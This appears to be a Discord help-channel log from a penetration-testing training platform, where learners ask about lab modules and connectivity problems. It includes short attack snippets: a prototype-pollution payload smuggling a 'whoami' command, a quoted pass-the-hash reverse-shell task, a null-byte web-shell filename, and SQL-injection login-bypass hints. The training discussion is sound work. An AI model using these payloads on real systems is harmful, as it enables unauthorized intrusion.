#modules

1 messages · Page 415 of 1

neat jasper
#

I want to join the group of thre hack

brittle stone
#

hello can i have moderator or administrator help i have an discord issu for identify me

brittle stone
#

yall have a probleme for spawning targets or its just me?

novel copper
#

I can spawn but im getting this
smbclient -L 10.129.142.193 -U htb-student
do_connect: Connection to 10.129.142.193 failed (Error NT_STATUS_IO_TIMEOUT)

when i try to connect via smb client from Linux

#

its pretty infuriating TBH

brittle stone
#

yeah me to i can spawn it but connection error

novel copper
#

I've wasted more time figuring out how to connect, if I am connected and why can't I connect than actually using the platform

quasi wave
#

hi I tried to get this section working for the ICMP Tunneling with SOCKS section of Pivoting Tunneling and Port Forwarding Module. I tried to resolve this error yesterday in chatgpt and what it said didn't work. I am able to log into pivot host but here's what I get when I try to run the tool it tells me to run on pivot host:

ubuntu@WEB01:~/ptunnel-ng/src$ sudo ./ptunnel-ng -r10.129.202.64 -R22
[sudo] password for ubuntu: 
./ptunnel-ng: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.36' not found (required by ./ptunnel-ng)
./ptunnel-ng: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./ptunnel-ng)

Do I need to make it into an executable on attack box and then transfer?

#

or do I need an older version of ptunnel-ng?

safe star
#

It’s shellcode

tame latch
#

Hay guy
Are there any professional cyber security here if yes I just want to get the advice on how they're joining was in learning cyber security
Cuz I'm kind of very confused
Just telling me how does parents was

soft reef
quasi wave
#

how do I know which version to download?

#

I could shoot in the dark but they all look like a recent version

#

the kali rolling one isn't the one I'm looking for because its the one I already tried first

#

so should I get the ubuntu one?

#

this is for the ICMP Tunneling with SOCKS section of Pivoting, Tunneling, and Port Forwarding

quasi wave
#

if its too old won't it be outdated?

#

wait I think I am about to get it to work

sinful swallow
#

Hi

quasi wave
#

ok it didn't work

grave marsh
#

really strange so I ran the ncat command again and was given the flag, but now I am wondering why it was not working originally! and also why it can only work on the pawnbox and not on my kali VM

fathom pendant
quasi wave
#

hi on pwnbox its working better but there are still issues with the tool I'm using on the pivot host. this is for ICMP Tunneling with SOCKS section of Pivoting, Tunneling,and Port Forwarding

#

in my VM it won't work but I get closer with Pwnbox

#

I have a screenshot of where I'm at now but I'm 100% confident if I post it will be spoiler

#

wait nope it doesn't work on pwnbox

grave marsh
brittle stone
digital sigil
#

Why?

brittle stone
safe star
#

You can create it using c and assemble or use something like msfvenom to generate it for you

#

Theres a lot online

gray yacht
shell dock
quasi wave
#

how are you?

shell dock
#

I’m doing good

#

I’m going to graduate

quasi wave
#

good I just completed the section

quasi wave
sinful gorge
#

I lost my progress, I login today and my account progress was reset

waxen totem
compact patrolBOT
cloud urchin
plain hare
#

Hi all QQ, just completed the Introduction to Web Applications, at the end of the module it stated: Finally, to apply what we learned from these modules, we can jump into attacking some Easy boxes on HackTheBox. how ever when I click the HackTheBox button, it just sends me to my account, so where do i find the machines related to Web Applications? Thanks in advance.

quasi wave
cloud urchin
shell dock
magic mango
#

footprinting Ipmi i have the hash but i'm getting a token length exception: 1/1 hashes. i don't understand whats wrong, did i capture the token incorrectly?

zinc swift
magic mango
zinc swift
#

yes, the script is for the install but it doesn't work

fathom pendant
fathom pendant
#

also "it doesn't work" isn't really descriptive of the issue, "it doesn't work" can mean a multitude of things without a meaningful error to help pinpoint your problem

magic mango
fathom pendant
#

but also

#

it sounds like you supplied the mask instead of just using the hash itself

#

if you read the section carefully it tells you that the mask is for specific situations. otherwise you should be using a wordlist

magic mango
#

is that list found in msf console or the resources button in the module?

fathom pendant
#

resource button

#

msfconsole has a default wordlist it tries when it captures the hash, but i don't recommend changing that when you run the command -- it's a small list for a reason

magic mango
fathom pendant
#

the wordlist is the same for the whole module

#

the "resources" button doesn't change per section

magic mango
#

ah

fathom pendant
#

it encompasses the whole module itself;

#

if that wordlist doesn't work => rockyou.txt

magic mango
#

how would i have know to look for that? or what clues would lead to that txt?

zinc swift
#

i was able to find the user and login of a person in the oracle tns module in Footprinting, but i'm not able to get sqlplus to work saying it's not installed. what's the package for it?

magic mango
zinc swift
#

hm ok

plain hare
#

Anyone knows if there are any vouchers for anual subscription?

fathom pendant
fathom pendant
#

unless you mean does the annual sub come with an exam voucher => yes

#

but there's no voucher for the annual sub itself

plain hare
quasi wave
#

are htb academy certs lifetime certs?

#

how long before a HTB certification expires?

fathom pendant
#

mark; i beg you to look at the exam page for any of the exams

quasi wave
#

ok

plain hare
#

Is it normal for machines to be slow

magic mango
quasi wave
fathom pendant
fathom pendant
quasi wave
#

no expiration date it says. great. I thought they were lifetime certs so I guess I was right

fathom pendant
#

yes; no expiration == lifetime

quasi wave
#

I'm psyched

#

I'm still working on CPTS

#

I'm getting through it much more quickly now than I was two months ago

#

I think I may finish in 6 months

#

or something I don't know. I think I am getting better mentally is part of it.

zinc swift
#

i had to break system packages thanks team

fathom pendant
#

if it's not found with apt install python3-<packagename>

zinc swift
#

yeah i'm using my own vm instead of pwnbox so that was my issue

#

thanks for the help again friends

fathom pendant
#

in future though, be more descriptive than "it's not working"

#

think of it this way; if someone asked you for help and just said "it's not working" with no other info; that'd be frustrating, no?

zinc swift
#

nah i'm a glue eater man i can relate

#

😆

fathom pendant
#

but if someone said "hey i'm getting an error when doing this, can someone help?"

#

(though the python error tells you exactly what to do iirc)

#

then it becomes a "oh this error just means you gotta pray to Cthulu and the Machine Spirits"

zinc swift
#

gotta pray to john microsoft

fathom pendant
#

John Microsoft won't help you with Linux

magic mango
#

Praise the omnissiah

zinc swift
#

linustechtips torvald mb

quick bough
#

Yo wsp guys I need your help

foggy monolith
#

Attaching them to Sysreptor so that your notes and reporting are in the same place is a much better idea.

round marten
#

yeah I learnt to use that feature and wondered why I would bother

gritty python
#

Hi guys, has anyone been able to solve or to point me to right direction for RCE with Prototype Pollution (https://academy.hackthebox.com/module/205/section/2343) I am bypassing filter by not utilziing proto but rather constructor such as: {"constructor":{"prototype":{"deviceIP":"127.0.0.1; whoami"}}} but that doesn't seem to pollute the Global Object prototype for me in order to achieve RCE. Thank you for the help!

ancient yacht
#

Are you still needing assistance?

brittle stone
gleaming isle
#

Hello

plain charm
#

A question regarding the Windows Privilege Escalation in the DnsAdmins section, after I became the member of "Domain Admins" group. I couldn't access the Administrator folder. But then I used psexec and with it. I can successfully access the folders. Why is that?
Note: I started the terminal as Admin, And I couldn't use psexec to login before adding my user into the domain admins group. So the steps I took to add user in domain admins did help, but not in that RDP session, why? the module didn't discuss anything about this so my curiosity hits in ( I do get the flag btw, just wants to know why the formal didn't work)

bright coral
plain charm
cold star
#

Hey guys I am doing the bleeding edge Vulnerabilities section. While in petitpotam after retriving the certificate I am not able to request tgt from that certificate using gettgtpkinit.py error is "KDC has no support for PADATA type (pre-authentication data)"
Even after restarting the DC using admin account the error remains same. Also launching new instance gives same error

north canyon
#

Did you ever manage to get this answer?

dark hedge
#

they were not replying to your message

cold star
jovial wolf
#

Have you find the solution ? The only thing I've got is an HEX response. But conversion to ASCII or UTF-8 is not accepted as the answer. Knowing tha is a SHA-1 hash. Thanks in advance !

kindred flax
#

Hey guys

wraith plank
#

Same question, does anyone have hints?

rotund mango
#

hello, im stuck at a question in penetration "what is the name of the theme used by wordpress on this target" i used the proper tool (wpscan) but the theme could not be detected

hot lodge
#

Hey can anyone help me out with Pass the Hash in password attacks for the last question

#

Pls dm 🙌

mossy tiger
#

Anyone finished the file uploads skill assessment? I'm super close but think i need a nudge. ||I've gotten around the extension and content filters, leaked source code. I'm uploading files, found the upload directory, identified naming convention for the files but when i try to access the file.... 404 not found ||

mossy tiger
glass locust
hot lodge
#

Using Julio's hash, perform a Pass the Hash attack, launch a PowerShell console and import Invoke-TheHash to create a reverse shell to the machine you are connected via RDP (the target machine, DC01, can only connect to MS01). Use the tool nc.exe located in c:\tools to listen for the reverse shell. Once connected to the DC01, read the flag in C:\julio\flag.txt.

glass locust
glass locust
hot lodge
#

Will try that soon, afk rn

rustic sage
#

Web Proxies
proxying tools
Try running 'auxiliary/scanner/http/http_put' in Metasploit on any website, while routing the traffic through Burp. Once you view the requests sent, what is the last line in the request?

stuck on this

rustic sage
glass locust
rustic sage
vernal tapir
#

Is anyone free to help explain/show “Web Requests” using Burp/Zap to me please? Some certain things I just don’t understand

rustic sage
#

because im planning to do that next as soon as i get help with this one

rustic sage
glad edge
#

I'm struggling with getting a reverse shell when using JuicyPotato. The priv esc. works fine, but no matter what I see to do, I can't catch a shell. I tested the script making the call and it works fine when I run it without JuicyPotato. Anybody can help? This is for the Win Priv Esc. Skill Assessment Part I

#

Did you ever get it working? I'm running into the exact same issue

pale hull
#

how do I submit a correction in a module

pale hull
#

thanks

#

just pointed out, if your using a newer version of ldapsearch the -h will display the help menu and not work correctly. just have to add a note incase someone is using newer client the command would be ldapsearch -H ldap://172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(objectClass=*)" | grep -m 1 -B 10 pwdHistoryLength

dapper moth
pale hull
#

oh

#

I can update that

#

I updated it thanks

thorny kraken
#

Is there a gap between the ! And ' in the pass?

north locust
#

nope

glad edge
#

Try it without the password, does it attempt to connect?

north locust
#

Oh thank guys, i fingered out, in the session have already give me another way if xfreerdp is not usable

#

Thanks alot

glad edge
#

Ah ok, I remember that one

cloud urchin
#

you're serving on port 8000 but trying to connect to 8080

digital jolt
#

Is there any chance this Practicel DF will be fixed? trying to collect the memory via velociraptor unfortunately not working due to possible not able to get the winpmem to github

brave scroll
digital jolt
jade trail
#

Hey if anyone can help im working on the Introduction to Networking module and i am pretty sure i got the right answer but it keeps telling me im wrong but im unsure if im formatting the answer wrong or misunderstanding what the questions is actually asking for

glass locust
lyric elbow
#

why does the terminal lag so awfully on target machine? VPN connection issue or what?

lyric elbow
#

Is it usually better? I cannot do anything at all in HTB Academy like that

warped vortex
#

Windows Attacks & Defense i cant connect target host

cloud urchin
#

any errors or anything?

shadow latch
#

it is normal that the hosts of Attacking Enterprise Networks die while im doing pivoting with ligolo?

#

i mean, it is because the maintenance of CPTS cert?

#

false alarm, i think that the problem is with ligolo

fathom pendant
#

also the maintenance window isn't starting until the 18th

acoustic owl
#

No one knows what will really be changed

cloud urchin
#

@coral wraith Please don't spoil content, especially flags, form modules above tier 0

coral wraith
cloud urchin
#

You posted a flag

flint palm
#

Hi Guys

#

I am trying to authenticate to sql and getting such a picture

#

mysql -u root -h 94.237.57.47 -P 56268 -p
Enter password:
ERROR 2026 (HY000): TLS/SSL error: SSL is required, but the server does not support it

coral wraith
# cloud urchin You posted a flag

Yes but this flag does not work and also in the task stands that you need the cookies to go to the admin login to get the flag but this is not working. I only get these cookies

cloud urchin
coral wraith
cloud urchin
#

can't help right now sorry, just post your question and someone will likely get to you

#

Error says username or pass is incorrect, check your $SecPassword value, and please don't post content from modules above tier 0.

lament hound
cloud urchin
#

idk but i saw your $secpassword was set to '<PASSWORD HERE>' which doesn't seem like a password to me

lament hound
viral lotus
#

sorry been a while since I last posted, where do we put module feedback?

viral lotus
#

ok thanks

lament hound
#

AH! I Figured it out. Many thanks for the assist @cloud urchin

austere thicket
#

what do i do if im under 18

#

cuz i wanna learn how to be a hacker

fierce jacinth
#

It it just me or is there something wrong with the academy right now? Im in the process of doing the footprinting module, and the cube rewards for answering a question are set to 0(displayed).

gray yacht
fierce jacinth
gray yacht
cloud urchin
#

Not al questions provide cubes when answered

fierce jacinth
#

Alright, I'll do so.

fierce jacinth
dark hedge
#

the module can be configured to grant cubes for certain questions

#

that's my theory

cloud urchin
fierce jacinth
#

Ok I'll check it out again rn. Thanks

#

Now it all adds up. Everything's working fine and well.

limber fog
#

Hello !
In the Attacking Common Services module, I am doing the FTP part. I started this morning, did the nmap, found the FTP port.
I had to go do something and am now back. I spawn a new target, which does not have the FTP port open (port that I identified this morning). I relaunched multiple times the target machine but still the nmap scan indicates that the port is closed.
How can I fix that ?

wild verge
#

Hey guys, finding a few issues with the guides for some of the assessments

#

there are some dead links etc and parts where the answer box doesnt accept the answer that you put in despite the fact that the guide says it is infact the answer, this is present on the "attacking web applications with Ffuf module" assessment and the dead links are on the Login Brute Forcing module. The 2023_200-most-used-passwords file does not seem to be present from the given command you just get a 404

cloud urchin
wild verge
#

the 2020_200 word list is there but not the 2023 unfortunately

devout spruce
#

Hi can someone please help me with the File Uploads Skills Assessment? I'm terribly stuck. I've already looked at the source code for upload.php, know what file extensions work, and know how files are renamed and what directory they go to. Every time I upload a file and go to it though it won't give me RCE. Any help would be greatly appreciated, been at this all day.

devout spruce
#

Nvm figured it out.

tough ibex
#

Anyone else had issues with PKINIT on the AD Trusts module Skill Assessment ?

#

Looking for a solution other than cycling VPNs and instances ...

strange delta
#

Hi. I'm having trouble with the Password Attacks module Pas the Hash section. In the last task, which asks for C:\julio\flag.txt, I can't get a shell back. My reverse shell command executes successfully, but the shell doesn't connect. Can someone please check whether it works or if I'm doing something wrong?

gray yacht
tough ibex
#

Also at 3 resets and still no changes :/

#

Did you also switched VPNs ?

gray yacht
tough ibex
#

Ok good to know thanks

#

Nothing worked even after 30 mins on my part

gray yacht
#

From both Linux and Windows attack paths?

tough ibex
#

Yep no difference

gray yacht
#

Pwn box or your own VM?

tough ibex
#

VM

#

I had to regain access to at least mssp

gray yacht
gray yacht
quasi wave
#

hi I cannot connect to the pivot server on HTB Academy's RDP and Socks Tunneling with SOCKS over RDP section on the Pivoting, Tunneling and Port Forwarding module from my VM. I can connect from my Ubuntu host, which I named Windows, but it disconnects very quickly unless I run xfreeRDP as root. But when I run it as root and try copying the two files it tells me to copy to RDP pivot server it won't copy the file over.

#

Can someone help me out?

#

I will try deleting tun1 or whatever from kali interfaces but will that work better than on Ubuntu?

thorny stump
#

Anyone available to help with what is likely a silly question on a beginning module?

I'm running through Pentest in a Nutshell, in the Windows System Enumeration section. I'm not able to get the information required out of winPEAS for the exact OS version - it's showing "+ FullyQualifiedErrorId : NativeCommandFailed" as an error, and I'm not sure how to get around that since I don't think the module is at privesc yet. I reckon I'm doing something just... blatantly wrong.

dim thunder
#

Hi, Can anyone help with the Windows Evasion SA 2? I have made reverse shell and copy file VBS scripts that work on dev machine but shows timeout in logs

quasi wave
#

anyway I only have one tun interface on kali so I know that's not the problem

#

kali won't connect even after upgrade/update

#

and one of the files won't move over

#

to RDP server either way

#

pwnbox isn't working

#

because too many people using the pwnbox

dapper moth
#

I have, in other situations, used the DA’s hash to verify if the CA’s root cert was still valid, which it was. So I couldn’t figure why the issue persisted.

gray yacht
hexed oyster
#

working on 'Web Attacks' -> 'Advanced File Disclosure' I'm attempting 'data exfiltration with CDATA'. I've got the file hosted on my computer, I've got the request modified with my external entity information. I know the target machine is reaching out to my computer to get the malicious file, however when the server recieves the malicious request, it doesn't return any data. Is this expected?

cloud urchin
waxen totem
hexed oyster
#

@cloud urchin @waxen totem ok. thank you for the sanity check. I'll go back and double check everything

waxen totem
hexed oyster
#

Thanks again.

thick steppe
#

Hi guys, a random question, was going through windows fundamentals, it looks like much more than fundamentals, do we need to know every single thing from it to go for cpts pathway or just skim through those modules

cloud urchin
#

Windows Fundamentals is not part of the CPTS path. You don't need to complete it at all. If you're note familliar with Windows fundamentals you may want to study it though.

thick steppe
thick steppe
cloud urchin
#

The thing is, despite CPTS being a "beginner" certification, a beginner in hacking doesn't mean a beginner in IT in general. You need strong foundational knowledge. If you don't have that the fundamental modules can help.

thick steppe
#

Htb say that prequisite knowledge for cpts pathwat is for us to know pre security fundamentals pathway

#

Oh

cloud urchin
#

The only thing that gatekeeps you from attempting the exam are the modules in the CPTS path. Once you complete those modules, it unlocks your ability to take the exam.

thick steppe
#

Ok, well I don’t have that strong of foundation in IT so I had to take that fundamentals pathway

cloud urchin
#

If a person who jumped into the CPTS path had zero computer knowledge they're going to struggle pretty hard compared to someone who already has strong foundational knowledge, that's where the pre-security fundamentals come in, to bridge that gap.

thick steppe
#

everyone in general recommends to do that before cpts and this is really not so easy pathway, only being a pre requisite pathway, i wonder how will be the cpts pathway

cloud urchin
#

Yeah just because it's "fundamental" doesn't mean it's easy. HTB also presents it in such a way that challenges you, and even if you know a lot about fundamentals if you take the fundamental modules you're still very likely to learn things you did not know before.

#

Sounds like you would benefit from going through the fundamentals path

thorny stump
lament hound
#

Hi. For the Active Directory Enumeration & Attacks Privileged Access, where do I find the neo4j URL to log in the Neo4j database?

cloud urchin
#

doesn't it just have you use bloodhound?

#

neo4j runs a webserver on the localhost you can usually navigate there in a web browser i think the default port is 7474 irrc

lament hound
cloud urchin
#

are you using neo4j for the first time?

lament hound
cloud urchin
#

ok, when you launch neo4j you log in with the default creds and it makes you change the password. you log in to your localhost:7474 in your web browser. with the creds you change you can log into bloodhound with those same creds. neo4j handles the database while bloodhound connects to that db with the user:pass then visualizes attack paths for you.

#

after you upload the data ofc.

mellow vigil
#

Sorry I might sound stupid, but can y’all help me start with cybersecurity I know the basics of os, networking, what do I do now?

compact patrolBOT
foggy monolith
#

Curious what the differences are between ntlmrelayx.py --adcs and certipy relay. They seem to do the exact same thing.

cloud wigeon
#

while going through the setting up module I came across a couple of typo's in the newer sections, can i report these anywere or is here fine?

cloud urchin
#

@grizzled niche you can dm me

fringe dew
#

Hello guys. in the Linux Services & Internals Enumeration Section, I found the python3 version but the flag is incorrect. does anyone know?

#

the question is What is the latest Python version that is installed on the target?

#

but I couldn't submit it

grizzled niche
cloud urchin
grizzled niche
gaunt wren
#

working on introduction to web application, trying to find the expossed credentilas cant sem to find it, any guide

cloud urchin
#

which module and section specifically?

gaunt wren
#

sensitive data exposure

waxen totem
gaunt wren
#

yes l have

waxen totem
#

aight, so what have you tried so far?

gaunt wren
#

l have gone through the source code and the js script

waxen totem
#

are you sure you've thoroughly checked the source code? maybe look at the comments?

gaunt wren
#

there are few comments but nothing is in there

waxen totem
gaunt wren
#

<!-- Google Tag Manager --> <!-- End Google Tag Manager --> !-- Google Tag Manager (noscript) -->

waxen totem
#

you sure you on the right site?

fathom pendant
#

are you sure other versions aren't installed?

fathom pendant
#

nvm it's the linux privesc

#

yeah do more enumeration to discover the information

dense notch
#

Hi everyone, have anyone just finished the module "Login Brute Forcing"? I am stuck in section Custom Wordlists

#

I have got multiple credentials but none of them worked

gaunt wren
leaden island
#

yo guys

#

im still on password attacks

#

i remember asking a question in password attacks like 2 weeks ago lol

#

im on cracking ssh passphrase section

#

ive transfered the id_rsa

#

(encrypted transfer sadglas )

#

verified md5 hash matches

#

ran that exact command ssh2john.py SSH.private > ssh.hash

#

but at the end

cloud urchin
#

i don't see any 'cracking ssh passphrase' section

leaden island
#
└─$ john ssh.hash 
No password hashes loaded (see FAQ)

leaden island
#

section name is protected files

cloud urchin
#

you can dm me the command you're using

leaden island
#

aiiiight

tough ibex
fringe dew
fathom pendant
dull minnow
#

Hi

#

I wanna ask something

cloud urchin
cobalt lichen
#

Hey! anyone has problem with the nmap section in Proxying Tools (Using Web Proxy module)?, i ran the nmap scan but the burp didnt intercept the request, i did curl and metasploit and all got intercepted except nmap

fallow monolith
#

currently doing Premature Session Population in HTTP Misconfigs module. Anybody managed to do the exercise ?
I think it's broken

stone socket
#

Anybody managed to do Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux in the Academy Active Directory module ? Because I retrieve Users with an SPN. However when asking for a TGS the GetUserSPN script run forever without giving me an error.

halcyon veldt
#

Alright, I’ve been going through the File Transfers module, upon getting to the Linux File transfer methods.

When I attempt to SSH into the targeted machine it spawns from the pwnbox I get the error “Connection Reset by <target IP> port 22”

Nmap shows port 22 is open using the provided htb-student and pw. Is there something I’m missing I know all the steps I need to perform to upload and run a hasher as I’ve done it with previous jobs just will not let me SSH into the machine.

Steps I’ve tried
Reset Pwnbox
Reset target machine
Both with a terminate and reset
Changed Pwnbox location from US west to Us East and CA

Logged out and back in
Tried a different network for the possibility it was on my end

Been. Reenforcing skills for the CPtS as I took a 4 year mental health break on cyber security from burn out

vernal tapir
#

SQL Injections. Been trying to login as Tom for a while now, anyone know what I'm doing wrong? I've tried just inputting "tom", no username or '1'='1 and without, almost exhuasted my options

waxen totem
vernal tapir
#

Thank you btw 🙂

#

mb didnt mean to leak that answer

#

Thanks so much, both ways work 😮

waxen totem
#

I urge you to figure out the logic chain or order of operations that the final query does so you can understand the reason why it works

vernal tapir
#

I'm gonna go back into the readings and hope I understand more ofc 🙂 thanks so much

waxen totem
#

Here's a hint to the logic behind it: it also works with 1=2

vernal tapir
#

That kinda confuses me more lol

#

If tom is true, and 1 = 4 is false, how tf am I logging in

waxen totem
vernal tapir
#

Ohhh lol, that is very helpful for sure. So tom' is the user part, anything after belongs with the pass logic?

waxen totem
#

yep, but this will only work for that specific query, there's plenty of other query structures that that payload won't work for

vernal tapir
#

I guess I still don't get how both pws can be false, but still sucessful log?
('1'=2 AND pass = 'notPass')

waxen totem
vernal tapir
#

Okay that makes sense, in a way it just sounds so crazy to think that works yk lol

I really appreciate it ❤️ that was so helpful lol. 65% cpts and it's been a burnout a bit lol, sometimes the content gets past my brain

green musk
#

Alright I’m about to Complete my CPTS path and in Windows Privilege Escalation subtopic SeTakeOwnershipPrivilege we were told to abuse the token to read content of flag.txt, although when we login first as HTB-student with its password and see whoami /priv I can’t see SeTakeOwnershipPrivilege token

reef blade
#

hey i just started "network enumeration with nmap" and i dont find any option to start my target machine.

reef blade
green musk
reef blade
green musk
#

Yes those boxes means their subtopic will have questions to be answered and if you can see host and port scanning topic you’ll get the spawn target

green musk
vernal tapir
ancient niche
#

Good afternoon guys someone had completed the module AI? I need a litle help

dapper moth
#

Which one? There 4 of those

sand nacelle
#

Hey, Are the htb machines down?

ancient niche
#

skilss assessment

dapper moth
#

I meant which module, not the section

#

There are a couple of those

ancient niche
#

AI applications of Ai in infosec 🙂

dapper moth
#

There’s also a repo of similar cases in the web

ancient niche
#

Example i don't understand bro

dapper moth
#

AI can also help you resolving the issues

ancient niche
#

i have these problem 🙂

#

but i don't know how fix it

dapper moth
# ancient niche i have these problem 🙂

It’s trying to open the file but there isn’t none.
Iirc the code should be executed in steps.
Also, make sure that any of the necessary files in the SA are in the directory

ancient niche
#

ok

#

i will try again

#

🙂

young gale
#

The directory we found above sets the cookie to the md5 hash of the username, as we can see the md5 cookie in the request for the (guest) user. Visit '/skills/' to get a request with a cookie, then try to use ZAP Fuzzer to fuzz the cookie for different md5 hashed usernames to get the flag. Use the "top-usernames-shortlist.txt" wordlist from Seclists.

ZAP Fuzzer
Using web proxies

#

i got the cookie, I fuzzed with the top username list, but I got no flag found

gloomy stump
#

Hi how do I need to add the IP-Adress to etc/hosts in the Attacking Web applications with ffuff Modul? With Port? IP:PORT?

wind saffron
#

LLMNR/NBT-NS Poisoning - from Linux, am i supposed to get on openVPN then ssh to the target? because ssh just times out even though i can ping it.

ancient niche
#

i have the same problem oh my got 😦

acoustic owl
#

The file that your script should access is missing

ancient niche
#

i have upload of the left

#

look at this

acoustic owl
#

Is the path correct? I haven't worked through the module, but Python says it can't find the file

ancient niche
#

I know

#

but this is supposed to be it

acoustic owl
#

Yes, but is the file in the right place? Python cannot find the file

ancient niche
#

i think so

#

i have all flags less the last xD

acoustic owl
spiral sapphire
#

Hey guys! A question regarding metasploit. Do I set the SRVHOST also as the VPN ip address like the LHOST? It was by default 0.0.0.0 on msfconsole

cloud urchin
ancient niche
acoustic owl
tranquil sluice
#

can anyone give a hint regarding noSQL assesment 2 in the CWEE course? I have the username and a possible vector yet cannot trigger a valid response

cloud urchin
#

A session is an active connection between the attacker and target system. A job is a background task that runs in metasploit.

#

A job is simply a task, something that metasploit runs

#

i don't know every single job metasploit is capable of, but it's possible for it to have those things as jobs

#

a session is just a temporary interactive information exchange between a user and a system. like when you RDP into a box, that's an RDP session you have open with the target you're remoting into.

#

when you're sitting in front of your computer and you log into it, that's a session you have with your computer

#

a reverse shell establishes a session

brisk ruin
#

I'm currently in the intermediate network traffic analysis module. the question ask to enter the username user through the TELNET protocol. I followed the TCL stream to locate the username and found "uname -a" but the answer was incorrect. Am I missing a step?

fringe dew
cloud urchin
leaden island
#

How can i transfer mutated wordlist from password attacks to pwnbox ?

brisk ruin
#

Sorry TCP Connection Rests & Hijacking

#

Resets*

fathom pendant
leaden island
#

Ah yes good point

#

10Q

fathom pendant
#

the module gives you a username, password, and rules wordlists

leaden island
#

Also is it possible to transfer from my host ?

cloud urchin
brisk ruin
#

Explains it

glossy cloak
#

doing the vuln assessment module. cant connect obviously. tried respawning 3x, no luck...

digital sigil
#

Is it supposed to be https?

glossy cloak
#

now the 4th spawn is taking forever...

digital sigil
glossy cloak
#

i will try when i get the ip....

cloud urchin
glossy cloak
#

vpn

#

kali linux

cloud urchin
#

the section does say to use https

#

ok, do you have the pwnbox spawned too?

glossy cloak
#

no

digital sigil
#

My bad, haven't done the section

cloud urchin
#

ok good. see if you can ping the target it seems more like you can't reach it because that's the correct port

glossy cloak
#

gie me a sec to get the target ip

#

its taking very long atm

cloud urchin
#

try ctrl+shift+r and then spawn it again

glossy cloak
#

From 10.10.14.1 icmp_seq=6 Destination Host Unreachable

#

let me restart kali

#

same problem

#

destination host unreachable when pinging

#

the target ip

wet arrow
#

Hello!

Module: profile_images/readFlag.phar.jpg
Page: profile_images/readFlag.phar.jpg

In this exercise, I uploaded a file named shell.php\x00.gif containing a webshell payload. The server responds indicating the upload was successful. However, when I attempt to access URL/profile_images/shell.php, nothing loads.

My question is: does this mean the shell is never actually uploaded and the success message is intended to mislead, or am I simply looking in the wrong location?

I solved it another way, but I’m still scratching my head over why shell.php\x00.gif didn’t work.

Can someone throw me a lifeline before I start questioning reality?

mortal linden
#

Good afternoon! I'm doing the hard lab for the Password Attacks module. I've managed to get the administrator NTLM hash and ran hashcat against it. hashcat says it's cracked, but just gives me the NTLM hash (31*********0: <blank>)

#

has anyone run across that before?

#

I should say, i did double check that Administrator's password was not, in fact, blank. just in case.

#

nvm. i'm an idiot. that really is blank. so...somehow i didn't get all the hashes. le sigh

#

In that case, if anyone can tell me how i managed to get the hard part mounted, and the hashes are all blank i'd really appreciate that. that part took so long, i'm dreading having to redo it.

brisk ruin
wet arrow
#

Agreed, I really like that feature. I just need to understand how to use Loot, though.

fathom pendant
woven mortar
#

Hello everyone, I'm having some trouble uploading my model (skills_assessment.joblib) for the AI Skills Assessment. Keeps telling me invalid model file. Any suggestions?

wet arrow
fathom pendant
#

nullbyte stuff is tricky and annoying, there's other methods that work just fine

wet arrow
#

Thanks!

fathom pendant
#

google is also great, but it's important (in general) to know what a nullbyte is

frank kelp
#

You should check out Ippsec’s videos if you haven’t. A null byte is a relatively common thing to see in attacks

#

Also, participate in other CTFs! Even if you don’t complete a single challenge, it gives you experience and you can read writeups of the challenges you looked at afterward

fathom pendant
#

\x is prefix for hex, \x00 is hex 00 => null byte when used in programming and most applications

#

hex is written in pairs \x00 => \xFF giving a wide range

waxen totem
#

Also when dealin with hex in general keep in mind the Endianness of the string. (don't worry it just refers to the order of the bytes)

magic mango
#

for the IPMI footprinting....is it alright that i used john instead of hashcat? john i felt was easier and worked right away compared to hashcat where i had to feed it a different wordlist

rugged linden
#

Hi guys, I am on the Windows Fundamental modules on hackthebox academy, and I am not able to access windows powershell after using xfreerdp to log into the virtual windows machine. is there any way to get the powershell open

cloud urchin
#

should be able to do windows key + r to open a run dialogbox and blindly type in powershell to open powershell though

rugged linden
#

i tried the windows key + r but all it does is open up the windows on my laptop xD

#

but i will try out the dynamic resolution method, thanks

#

update: it worked, thanks alot!

hexed oyster
#

I'm working on Web Attacks -> Advanced File Disclosure. I'm attempting to use the technique discussed in the section "Advanced Exfiltration with CDATA" and I'm not able to trigger the bug. What can I provide to help diagnose this?

cyan blade
#

I think because when you upgrade metasploit in the future then all user-added exploits will be overridden by developer changes, so you will lose them if you add them directly to /usr/share/metasploit-framework/. You won't lose them if you keep them in .msf4

obsidian tendon
#

Good morning hackers

solemn viper
#

Hi guys, not sure if this has been posted again or is the correct channel, but I want to see if I am the only one. I am studying for the cdsa, but although the whole journey is amazing ( things that already know starting to make sense in a deeper form) I am starting to "loose heart" for study. I am not a native speaker, so I am loosing valuable time with translation, as many words that are being used are not so keen. I mean during the weekdays I hardly study two hours max cause all the time I have to translate staff.. and I can say that most of the day I speak and write in English at work.

glossy cloak
#

Guys, where to find pre-populated scan data for nessus skill assessment (Vuln assessment module)?

zinc halo
#

im so confused

#

am i tripping... or is it self conflicting....

zinc halo
waxen totem
zinc halo
waxen totem
zinc halo
#

but it says last

zinc halo
glossy cloak
zinc halo
waxen totem
waxen totem
#

Frst in Last out as it were

long flint
#

could anyone give me a nudge for the parameter logic bugs skill assessment? i'm assuming its related to || coupon|| ? but i keep getting the error || invalid||. is it a rabbit hole?

zinc halo
glossy cloak
zinc halo
signal hound
#

Hi
Im doing attacking common services
"Other notable applications"
I found an unauthenticated RCE via GET request but when i execute commands i dont get any output
When i send a web request to my NC listener i do see headers in the terminal
However i cant get a Reverse shell
Any ideas?

fervent iris
#

so i'm trying to sign into the HTB academy but it thinks i'm a bot, and it wants me to submit a form that doesn't exist! what am i missing here??

zenith depot
fervent iris
zinc halo
#

you are exposing the num of digits of your passwords as well

zinc halo
fervent iris
solemn viper
zenith depot
young gale
#

The directory we found above sets the cookie to the md5 hash of the username, as we can see the md5 cookie in the request for the (guest) user. Visit '/skills/' to get a request with a cookie, then try to use ZAP Fuzzer to fuzz the cookie for different md5 hashed usernames to get the flag. Use the "top-usernames-shortlist.txt" wordlist from Seclists.

not working

young gale
#

Can someone help me out?

fervent iris
# young gale Can someone help me out?

i didn't see the issue, if you're trying to fuzz an application, and your list isn't including what you're looking for, then either the list is invalid in the parameter you are fuzzing and should try another list, or you are looking into an incorrect parameter.

zinc halo
#

the module in academy would sometimes include the wordlist for you to enumerate at the bottom to save you some time

young gale
#

1 second

acoustic owl
craggy edge
#

